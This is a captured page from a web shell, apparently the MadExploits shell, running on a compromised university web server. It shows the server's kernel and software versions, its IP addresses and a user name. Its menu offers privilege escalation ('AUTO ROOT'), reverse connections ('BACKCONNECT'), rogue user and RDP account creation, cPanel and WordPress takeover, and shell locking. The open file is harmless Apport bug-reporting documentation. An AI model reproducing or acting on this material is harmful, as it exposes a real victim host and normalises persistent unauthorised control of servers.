Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.153.226
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apport /
[ HOME SHELL ]
Name
Size
Permission
Action
NEWS.gz
45.33
KB
-rw-r--r--
README
3.01
KB
-rw-r--r--
changelog.Debian.gz
2.93
KB
-rw-r--r--
copyright
625
B
-rw-r--r--
crashdb-conf.txt.gz
2.06
KB
-rw-r--r--
package-hooks.txt.gz
2.2
KB
-rw-r--r--
symptoms.txt
2.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : symptoms.txt
Apport symptom scripts ====================== In some cases it is quite hard for a bug reporter to figure out which package to file a bug against, especially for functionality which spans multiple packages. For example, sound problems are divided between the kernel, alsa, pulseaudio, and gstreamer. Apport supports an extension of the notion of package hooks to do an interactive "symptom based" bug reporting. Calling the UI with just "-f" and not specifying any package name shows the available symptoms, the user selects the matching category, and the symptom scripts can do some question & answer game to finally figure out which package to file it against and which information to collect. Alternatively, the UIs can be invoked with "-s symptom-name". Structure ========= Symptom scripts go into /usr/share/apport/symptoms/symptomname.py, and have the following structure: ------------ 8< ---------------- description = 'One-line description' def run(report, ui): problem = ui.choice('What particular problem do you observe?', ['Thing 1', 'Thing 2', ... ]) # collect debugging information here, ask further questions, and figure out # package name return 'packagename' ------------ 8< ---------------- They need to define a run() method which can use the passed HookUI object for interactive questions (see package-hooks.txt for details about this). run() can optionally add information to the passed report object, such as tags. Before run() is called, Apport already added the OS and user information to the report object. After the symptom run() method, Apport adds package related information and calls the package hooks as usual. run() has to return the (binary) package name to file the bug against. Just as package hooks, if the user canceled an interactive question for which the script requires an answer, run() should raise StopIteration, which will stop the bug reporting process. Example ======= import apport description = 'External or internal storage devices (e. g. USB sticks)' def run(report, ui): problem = ui.choice('What particular problem do you observe?', ['Removable storage device is not mounted automatically', 'Internal hard disk partition cannot be mounted manually', # ... ] # collect debugging information here, ask further questions if not kernel_detected: return apport.packaging.get_kernel_package() if not udev_detected: return 'udev' return 'devicekit-disks'
Close